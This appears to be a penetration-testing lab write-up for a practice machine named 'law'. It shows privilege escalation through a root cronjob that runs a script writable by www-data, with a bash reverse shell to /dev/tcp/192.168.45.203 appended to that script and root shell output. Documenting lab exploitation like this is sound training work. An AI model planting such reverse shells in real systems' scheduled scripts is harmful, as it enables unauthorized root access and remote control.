law_Privilege_Escalation

cronjob

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PSPY has identified a vulnerable root cronjob process, executing a file, /var/www/cleanup.sh, which the current user, www-data, has the complete control over. Given the root cronjob process is periodically executing the bash script, privilege escalation is possible by leveraging the write privileges to the /var/www/cleanup.sh file

www-data@law:/var/www$ echo '/bin/bash -c "bash -i >& /dev/tcp/192.168.45.203/1234 0>&1"' >> /var/www/cleanup.sh
 
www-data@law:/var/www$ cat cleanup.sh
#!/bin/bash
 
rm -rf /var/log/apache2/error.log
rm -rf /var/log/apache2/access.log
/bin/bash -c "bash -i >& /dev/tcp/192.168.45.203/1234 0>&1"

Overwriting a reverse shell to the /var/www/cleanup.sh file

┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/law]
└─$ nnc 1234            
listening on [any] 1234 ...
connect to [192.168.45.203] from (UNKNOWN) [192.168.178.190] 54160
bash: cannot set terminal process group (16779): Inappropriate ioctl for device
bash: no job control in this shell
root@law:~# whoami
whoami
root
root@law:~# hostname
hostname
law
root@law:~# ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
3: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:9e:ac:be brd ff:ff:ff:ff:ff:ff
    altname enp11s0
    inet 192.168.178.190/24 brd 192.168.178.255 scope global ens192
       valid_lft forever preferred_lft forever
    inet6 fe80::250:56ff:fe9e:acbe/64 scope link 
       valid_lft forever preferred_lft forever

System Level Compromise